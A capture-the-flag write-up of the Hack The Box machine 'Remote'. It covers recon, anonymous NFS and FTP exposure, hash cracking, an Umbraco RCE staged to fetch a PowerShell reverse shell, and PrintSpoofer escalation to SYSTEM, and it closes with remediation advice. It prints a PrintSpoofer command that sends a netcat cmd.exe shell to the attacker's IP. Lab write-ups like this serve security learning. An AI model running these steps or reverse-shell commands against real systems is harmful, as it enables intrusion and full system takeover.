Post cover image

October 11, 2026

HTB: Remote

Overview

By Danieltruong

6 min read

Overview

An Umbraco CMS instance backing a Windows file server is compromised end-to-end through misconfigured anonymous services. Anonymous FTP and a world-readable NFS share expose a backup of the Umbraco web app's filesystem, including its SQLite-based config database. Cracking a hardcoded admin hash grants CMS access, which is leveraged through a known Umbraco RCE to get a reverse shell. The resulting IIS app pool identity holds SeImpersonatePrivilege, making a PrintSpoofer attack a direct route to NT AUTHORITY\SYSTEM.

Recon

Nmap

A quick nmap probing on all ports reveals the open ports and then I performed a more aggressive recon on these specific ports.

Two particular services that were interesting was FTP on port 21 and NFS on port 111. The FTP service allows anonymous login and the NFS share is available to everyone.

It should also be noted that the server run a HTTP service on port 80.

Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-11 08:40 -0400
Nmap scan report for 10.129.230.172
Host is up (0.033s latency).

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
111/tcp   open  rpcbind?
| rpcinfo:
|   program version    port/proto  service
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|_  100005  1,2,3       2049/udp6  mountd
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
2049/tcp  open  mountd        1-3 (RPC #100005)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-10-11T13:41:58
|_  start_date: N/A
|_clock-skew: 1h00m00s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
└─$ showmount -e 10.129.230.172
Export list for 10.129.230.172:
/site_backups (everyone)

FTP Enum

Accessing the FTP share as anonymous gain us access to their files, however, there was no available files to read. Though it should be noted as a vulnerability with anonymous login on FTP.

β”Œβ”€β”€(daniγ‰Ώkali)-[~/project/remote/Findings]
└─$ ftp 10.129.230.172
Connected to 10.129.230.172.
220 Microsoft FTP Service
Name (10.129.230.172:dani): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49692|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp>

NFS Share

We can mount the NFS share to our machine with mount . The file system seems to be a backup of the web application they are running.

β”Œβ”€β”€(daniγ‰Ώkali)-[~/project/remote]
└─$ sudo mount -t nfs 10.129.230.172:site_backups Findings/NFS_Share

β”Œβ”€β”€(daniγ‰Ώkali)-[~/project/remote]
└─$ tree
.
β”œβ”€β”€ Findings
β”‚   └── NFS_Share
β”‚       β”œβ”€β”€ App_Browsers
β”‚       β”‚   β”œβ”€β”€ Form.browser
β”‚       β”‚   └── w3cvalidator.browser
β”‚       β”œβ”€β”€ App_Data
<SNIP>

Web Fuzzing

None

Dir Fuzzing and Vhost Fuzzing doesnt reveal much. However, upon clicking on "Go to back office and install forms", we got navigated to its umbraco application login form

None None

Now if we correlate this back to the backups share we mounted, we can see that they do host a umbraco web application and its filesystem, including the config file was available for us to read.

Using codex to go through all the files and note for me if there is any hardcoded credentials in the repo reveals 2 pair of credentials were hardcoded: admin@htb.local and ssmith@htb.local inside the file NFS_Share/App_Data/Umbraco.sdf .

Using hashcat we can crack one hash and reveals the password of admin@htb.local

β”Œβ”€β”€(daniγ‰Ώkali)-[~]
└─$ strings project/remote/Findings/NFS_Share/App_Data/Umbraco.sdf | grep 'admin@htb.local\|ssmith@htb.local'
adminadmin@htb.local<REDACTED>{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
<SNIP>
ssmithssmith@htb.local<REDACTED>{"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32
<SNIP>

└─$ hashcat -a0 -m100 b8be16afba8c314ad33d812f22a04991b90e2aaa /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 7.1+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 21.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-13th Gen Intel(R) Core(TM) i7-13620H, 1454/2909 MB (1454 MB allocatable), 4MCU

<SNIP>

* Keyspace..: 14344384

b8be16<REDACTED>:<REDACTED>

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 100 (SHA1)

<SNIP>

Now using this credential, we can try with the login of umbraco and we manage to gain access to the platform

Initial Foothold

Now, we try to enumerate the umbraco instance a bit more, reading its version, config and possible CVEs for the version.

We managed to find a couple of known vulnerabilities of umbraco using searchsploit, and also confirm the current version is 7.12.4 which is vulnerable to one of the exploits.

None

We pulled the exploit, made some changes to the code with our pair of credential and the payload to be verify if it is exploitable.

None

Now for the reverse shell, there are two ways we can do this:

  • Change the payload to execute a direct reverse shell using revhsell.com
  • Change the payload to fetch the reverse shell script which is hosted from our python server

We will go with the latter option. First we change the payload from the exploit to fetch our reverse shell.

None

Then we get the Invoke-PowerShellTcp.ps1 from nishang and add the reverse function by the end with our IP and port

None

Then we execute the exploit with one python HTTP server and one listener for the revershell -> Gain the shell on the target!

None

Pivoting and Escalation

As apppool , we have SeImpersonatePrivilege which can be used to escalate our privilege to Administrator with JuicyPotato or PrintSpoofer attacks! So we first transfer the scripts to the server!

PS C:\Users\Public> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

After moving both PrintSpoofer64.exe and nc64.exe to the server, we perform the attack and got ourselves a shell as NT AUTHORITY

PrintSpoofer.exe -c "c:\tools\nc.exe <attIP> <port> -e cmd.exe"

None None

The resulting connection comes back as NT AUTHORITY\SYSTEM β€” full compromise.

Attack Path Overview

  • Reconnaissance: Nmap revealed anonymous FTP and a world-exported NFS share (/site_backups) on a Windows host also running an Umbraco-backed web app.
  • Information Disclosure: The NFS backup exposed Umbraco's config database (Umbraco.sdf), which contained two hardcoded user hashes.
  • Credential Access: The weaker SHA1 admin hash was cracked offline via rockyou.txt, granting access to the Umbraco back office.
  • Foothold: A known RCE for the fingerprinted Umbraco 7.12.4 version was adapted to fetch and execute a staged PowerShell reverse shell, landing a shell as the IIS app pool identity.
  • Privilege Escalation: The app pool account held SeImpersonatePrivilege, abused via PrintSpoofer to spawn a SYSTEM-level shell.
  • Overall Impact: Full system compromise β€” an exposed NFS backup leaking CMS credentials, chained with a known CMS RCE and a standard Windows token-impersonation privesc, led directly to SYSTEM.

Remediation Plan

Immediate Actions

  • Disable Anonymous FTP and NFS Access: Require authentication for both services, or disable them if unused.
  • Remove Backups from Exposed Shares: Application backups containing credentials/config should never be reachable via unauthenticated NFS/FTP/SMB.
  • Rotate All Umbraco Credentials: Especially admin@htb.local and ssmith@htb.local; migrate to a strong, salted hashing scheme (Umbraco supports modern algorithms in later versions).

Short-Term & Strategic Actions

  • Patch/Upgrade Umbraco: Update past 7.12.4 to a version without the known authenticated RCE, and subscribe to CMS security advisories.
  • Restrict SeImpersonatePrivilege: Apply Windows service-hardening guidance (e.g., run app pools with least-privilege identities, or deploy mitigations against Potato-family exploits where upgrading isn't immediately possible).
  • Network Segmentation: NFS/FTP exports should not be reachable from general/attacker-adjacent network segments without explicit need.